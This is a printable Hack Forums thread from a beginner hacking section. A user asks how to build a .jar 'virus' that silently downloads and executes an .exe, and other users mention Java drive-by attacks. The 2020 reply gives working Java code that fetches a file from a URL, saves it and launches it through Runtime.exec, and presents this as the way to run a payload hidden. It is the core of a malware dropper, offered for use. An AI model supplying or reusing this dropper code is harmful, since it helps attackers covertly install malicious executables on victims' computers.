Hack Forums
.JAR file virus [file dropper] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: .JAR file virus [file dropper] (/showthread.php?tid=3857694)



.JAR file virus [file dropper] - omar37 - Nov 10, 2013

Hey guys,

Is it possible to create a .jar file that will download a .exe and execute it silently?


* - MrTing - Nov 10, 2013

You should investigate Java DB's. Should be somewhere in the TuTs.


* - omar37 - Nov 10, 2013

I've searched a lot, theres a way to convert a .exe to .jar but that might corrupt the server?


* - anon1111 - Nov 10, 2013

(Nov 10, 2013 01:13 PM)omar37 Wrote:  I've searched a lot, theres a way to convert a .exe to .jar but that might corrupt the server?

normally, you cannot easily convert an exe into a jar, however, the vice versa is easy with 3rd-party tools.


* - Tirus - Nov 10, 2013

Yes, that's considered a Silent Java DriveBy, if you don't want it to become silent, I suggest using a basic Java Driveby.


RE: .JAR file virus [file dropper] - mylotheone - Mar 6, 2020

I know this is really late, but someone might still be looking for it. so here's the solution

public void saveUrl(final String filename, final String urlString)
throws MalformedURLException, IOException {
BufferedInputStream in = null;
FileOutputStream fout = null;
try {
in = new BufferedInputStream(new URL(urlString).openStream());
fout = new FileOutputStream(filename);

final byte data[] = new byte[1024];
int count;
while ((count = in.read(data, 0, 1024)) != -1) {
fout.write(data, 0, count);
}
} finally {
if (in != null) {
in.close();
}
if (fout != null) {
fout.close();
}
}
}

is a function for downloading a file from the internet

Runtime runtime = Runtime.getRuntime();
runtime.exec("file location");

this will execute the text as a command in the command prompt, hidden of course.
if you put the path to an exe in the command prompt it will run it.

so those 2 are required, if you don't know how to use them, learn java.